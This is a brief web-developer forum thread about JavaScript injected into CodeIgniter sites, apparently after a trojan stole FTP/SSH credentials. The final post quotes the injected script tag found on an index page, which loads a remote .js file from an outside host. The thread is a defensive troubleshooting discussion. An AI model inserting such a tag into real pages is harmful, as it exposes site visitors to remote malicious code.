Javascript injection

[eluser]TheIgniter[/eluser]
I just read this article :

Code:

http://ellislab.com/forums/viewthread/149326/#725088

It is not a CodeIgniter exploit.
That exploit has been going around for last couple of months, and it is linked to compromised ftp, sftp and ssh accounts.
A trojan on a machine captures the ftp/sftp/ssh login information and then appends a Javascript payload downloading code to one or more .php,.html files.

Is that true, so it mean that the host no secure ? There is no other way to inject javascript in the index page?

[eluser]garymardell[/eluser]
The trojan will most likely be on the person connecting to the servers computer and just take the information and then run these automated updating of files. The host is probably secure, however the person connecting is not. There are other ways to inject javascript depending on the script and the provisions in place to deal with such attacks. However not to edit the file itself.

[eluser]TheIgniter[/eluser]
thanks gary for your reply! well, a friend of mine had this problem.. in the the site of his client, he found in the index page of codeigniter some badware :

Code:

<scri> src="http://soaoo.blog-salopes.com:8080/Unmount.js"></scr>

..
so there is 2 possibility :
- The computer of my friend infected
- The host is not secure ( He use supreme center )